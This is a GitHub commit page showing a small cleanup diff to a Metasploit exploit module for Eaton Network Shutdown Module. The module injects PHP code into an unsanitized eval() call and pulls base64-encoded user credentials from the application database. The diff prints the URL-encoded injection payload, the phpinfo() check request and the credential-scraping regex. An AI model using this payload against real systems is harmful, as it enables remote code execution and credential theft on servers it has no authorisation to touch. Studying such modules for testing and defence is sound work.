Skip to content

Commit 7109d63

Browse files
committed
Code clean up, thanks to Brandon Perry
1 parent 4ef0d86 commit 7109d63

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

modules/exploits/multi/http/eaton_nsm_code_exec.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ def initialize(info = {})
1818
'Description' => %q{
1919
This module exploits a vulnerability in lib/dbtools.inc which uses
2020
unsanitized user input inside a eval() call. Additionally the base64 encoded
21-
user credentials are extracted from the dtabase of the application.
21+
user credentials are extracted from the database of the application.
2222
2323
},
2424
'Author' => [ 'h0ng10' ], # original discovery, msf module
@@ -56,7 +56,7 @@ def check
5656
# we use a call to phpinfo() for verification
5757
res = execute_php_code("phpinfo();die();")
5858

59-
if (not res) or (res.code != 200)
59+
if not res or res.code != 200
6060
print_error("Failed: Error requesting page")
6161
return CheckCode::Unknown
6262
end
@@ -78,6 +78,12 @@ def read_credentials()
7878

7979
print_status("Reading user credentials from the database")
8080
response = execute_php_code(php)
81+
82+
if not response or response.code != 200 then
83+
print_error("Failed: Error requesting page")
84+
return
85+
end
86+
8187
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
8288

8389
return if credentials.length == 0
@@ -99,7 +105,6 @@ def execute_php_code(code, opts = {})
99105
param_name = rand_text_alpha(6)
100106
padding = rand_text_alpha(6)
101107
php_code = Rex::Text.encode_base64(code)
102-
#url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
103108
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
104109

105110
res = send_request_cgi(

0 commit comments

Comments
 (0)